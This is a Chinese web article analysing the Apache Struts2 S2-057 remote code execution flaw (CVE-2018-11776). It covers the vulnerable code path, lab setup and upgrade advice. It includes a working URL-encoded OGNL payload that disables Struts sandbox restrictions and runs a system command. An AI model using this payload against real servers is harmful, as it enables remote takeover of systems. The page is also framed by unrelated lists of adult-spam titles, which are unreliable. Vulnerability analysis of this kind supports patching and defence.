欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

ApacheStruts2S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

今天就跟大家聊聊有關(guān)Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

讓客戶滿意是我們工作的目標(biāo),不斷超越客戶的期望值來(lái)自于我們對(duì)這個(gè)行業(yè)的熱愛(ài)。我們立志把好的技術(shù)通過(guò)有效、簡(jiǎn)單的方式提供給客戶,將通過(guò)不懈努力成為客戶在信息化領(lǐng)域值得信任、有價(jià)值的長(zhǎng)期合作伙伴,公司提供的服務(wù)項(xiàng)目有:域名申請(qǐng)、雅安服務(wù)器托管、營(yíng)銷(xiāo)軟件、網(wǎng)站建設(shè)、日照網(wǎng)站維護(hù)、網(wǎng)站推廣。

一、背景介紹

Apache Struts框架是一個(gè)基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web應(yīng)用框架的開(kāi)源項(xiàng)目,Struts基于Model-View-Controller (MVC)的設(shè)計(jì)模式,可以用來(lái)構(gòu)件復(fù)雜的Web應(yīng)用。

它允許我們分解一個(gè)應(yīng)用程序的商業(yè)邏輯、控制邏輯和表現(xiàn)邏輯的代碼,使它的重用性和維護(hù)性更好。Struts框架是Jakarta工程的一部分,由Apache軟件基金會(huì)管理。

1.1 漏洞描述

當(dāng)struts.mapper.alwaysSelectFullNamespace設(shè)置為true,并且package標(biāo)簽頁(yè)以及result的param標(biāo)簽頁(yè)的namespace值的缺失,或使用了通配符時(shí)可造成namespace被控制,最終namespace會(huì)被帶入OGNL語(yǔ)句執(zhí)行,從而產(chǎn)生遠(yuǎn)程代碼執(zhí)行漏洞。

1.2 受影響的系統(tǒng)版本

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

1.3 漏洞編號(hào)

CVE-2018-11776

二、環(huán)境搭建

1.下載:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip

2. 修改配置文件struts-actionchaining.xml

該漏洞有多種攻擊向量包括:

2.1 Redirect action

2.2 Action chaining

2.3 Postback result

以第一種為例子,修改配置文件內(nèi)容為


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

三、漏洞細(xì)節(jié)

       在DefaultActionMapper這個(gè)類(lèi)的parseNameAndNamespace方法里。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

當(dāng)alwaysSelectFullNamespace被設(shè)置為true時(shí),namespace的值是從URL中獲取的。URL是可控的,所以namespace也是可控的。

Action執(zhí)行結(jié)束之后,程序會(huì)調(diào)用ServletActionRedirectResult類(lèi)中的execute()方法進(jìn)行重定向Result的解析。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

首先,當(dāng)namespace為空時(shí),調(diào)用invocation.getProxy().getNamespace()賦值給變量namespace,然后將變量namespace傳入ActionMapping構(gòu)造函數(shù)中。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

然后,ActionMapper.getUriFromActionMapping()對(duì)ActionMapping后的值進(jìn)行重組,生成一個(gè)URL字符串(包含namespace),并賦值給了tmplocation變量。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

緊接著將帶有namespace的tmplocation傳入了setLocation()方法中。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

該方法將tmpLocation值賦值給了StrutsResultSupport類(lèi)中的location變量。

然后,跟蹤super.execute()方法。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

繼續(xù)跟蹤ServletActionResult類(lèi)中的super.execute()。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

在StrutsResultSupport類(lèi)中的execute()方法中,剛剛被賦值的location變量(帶有namespace的)被傳入了conditionalParse()方法。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

最終,通過(guò)TextParseUtil.translateVariables()對(duì)namespace進(jìn)行OGNL解析,導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。

四、漏洞利用

1. 訪問(wèn)url 為/${(111+111)}/actionChain1.action的地址。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

訪問(wèn)觸發(fā)OGNL表達(dá)式,url變?yōu)?222/register2.action,漏洞存在。

2. payload:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d

此payload 僅適用于2.3系列版本。


Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析

五、修復(fù)建議

官方補(bǔ)丁 

目前官方已發(fā)布最新版本來(lái)修復(fù)此漏洞,受影響的用戶請(qǐng)盡快升級(jí)到Apache Struts 2.3.35 或 Struts 2.5.17版本。

https://struts.apache.org/download.cgi#struts2517

手工修復(fù)

修改配置文件:

固定package標(biāo)簽頁(yè)以及result的param標(biāo)簽頁(yè)的namespace值,以及禁止使用通配符。

看完上述內(nèi)容,你們對(duì)Apache Struts2 S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。

網(wǎng)頁(yè)標(biāo)題:ApacheStruts2S2-057遠(yuǎn)程代碼執(zhí)行漏洞實(shí)例分析
當(dāng)前地址:http://chinadenli.net/article44/joijee.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供服務(wù)器托管、品牌網(wǎng)站建設(shè)、品牌網(wǎng)站設(shè)計(jì)、響應(yīng)式網(wǎng)站、品牌網(wǎng)站制作、全網(wǎng)營(yíng)銷(xiāo)推廣

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都定制網(wǎng)站網(wǎng)頁(yè)設(shè)計(jì)
国产又长又粗又爽免费视频 | 午夜视频在线观看日韩| 亚洲二区欧美一区二区| 国产精欧美一区二区三区久久| 丁香六月婷婷基地伊人| 99精品人妻少妇一区二区人人妻| 国产免费人成视频尤物| 精品综合欧美一区二区三区| 沐浴偷拍一区二区视频| 午夜精品黄片在线播放| 狠狠干狠狠操在线播放| 久久精品少妇内射毛片| 亚洲视频一区自拍偷拍另类| 国产中文另类天堂二区| 国产高清一区二区不卡| 欧美日韩综合免费视频| 国产精品免费福利在线| 色婷婷久久五月中文字幕| 国产精品欧美一级免费| 日韩欧美一区二区不卡视频| 久久亚洲精品中文字幕| 国产精品日本女优在线观看| 国产三级视频不卡在线观看| 欧美黑人精品一区二区在线| 亚洲欧美日本国产有色| 日韩欧美黄色一级视频| 麻豆精品在线一区二区三区| 国产又大又硬又粗又黄| 手机在线观看亚洲中文字幕| 久久精品偷拍视频观看| 亚洲精品一二三区不卡| 中文字幕一区二区久久综合| 69久久精品亚洲一区二区| 99久热只有精品视频免费看| 女生更色还是男生更色| 亚洲第一香蕉视频在线| 国产av一二三区在线观看| 国产一区二区精品高清免费 | 在线免费观看黄色美女| 一本久道久久综合中文字幕| 成人精品视频在线观看不卡|